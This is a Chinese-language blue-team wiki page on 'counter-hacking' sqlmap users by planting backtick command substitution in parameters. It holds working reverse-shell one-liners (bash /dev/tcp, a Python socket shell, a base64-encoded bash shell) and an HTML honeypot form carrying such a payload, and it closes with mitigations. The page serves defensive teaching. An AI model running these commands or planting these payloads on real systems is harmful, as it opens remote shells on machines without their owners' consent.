跳转至

反制常见红队工具

反制SqlMap

反制原理

单引号:单引号被识别为普通字符串,就是不识别引号里面的特殊字符,属于强引用。

图片

双引号:双引号里面的特殊字符是可以被识别的,是弱引用。

图片

反引号:在linux中,反引号中的内容一般是一行或多行命令,当这些命令被反引号引着,命令执行结果就会以字符串的形式被保留下来。

图片

无引号:如何是连续的符号可以不加引号,但是如果有空格就有歧义,最好使用双引号。 于是我们可以构造一个页面,把我们需要传递的参数传入,如果攻击者没仔细看数据包就丢进sqlmap尝试注入的话就有可能导致被反制

反弹shell

Bash
# GET型
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
# POST型
echo YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvNzc3NyAwPiYx| base64 -d|bash -i

GET反制

Bash
sqlmap -u "http://testcom?a=test&b=`ls`"

Note

可以看到这里的ls系统命令执行

Bash
sqlmap -u "http://testcom?a=test&command=shell`bash -i >& /dev/tcp/{ip}/{port} 0>&1`&port=6666"

Warning

注意如果是要bash反弹shell的话,需要先将环境切换为bash

Important

蓝队可以构造这样一个参数。并固定化,这样如果没有仔细看或者采取批量sqlmap的情况下,就有可能被反制

POST反制

HTML
<html>
<head>
<meta charset="utf-8">
<title> test demo</title>
</head>
<body>
<input>search the user</input> 
<form action="test.html" method="post" enctype="text/plain">
<input type='hidden' name='name' value="A20&id=131241241&query=shell`echo YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvNzc3NyAwPiYx| base64 -d|bash -i`&port=6379"/>
<input type="submit" value='提交'>
</form>
</body>
</html>

Important

蓝队可以构造这样一个页面,诱导攻击者(蜜罐)

Bash
sqlmap -u "http://xx.xx.xx.xx/test.php" --data "name=asho&id=45273434&query=shell`echo YmFzcxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxLzIzMzMgMD4mMQ== | base64 -d|bash -i`&port=6379"

Note

那么当红队执行如上的sqlmap命令时,便会反弹shell,从而实现反制

解决反制方案

  • 不使用双引号包含URl或数据,避免变量解析,采用单引号包含
  • 如果是批量扫描,可以编写一个过滤脚本在扫描之前过滤危险参数
  • 眼睛擦亮点

反制Goby/蚁剑

参考文章:第120篇:蓝队溯源之蚁剑、sqlmap、Goby反制方法的复现与分析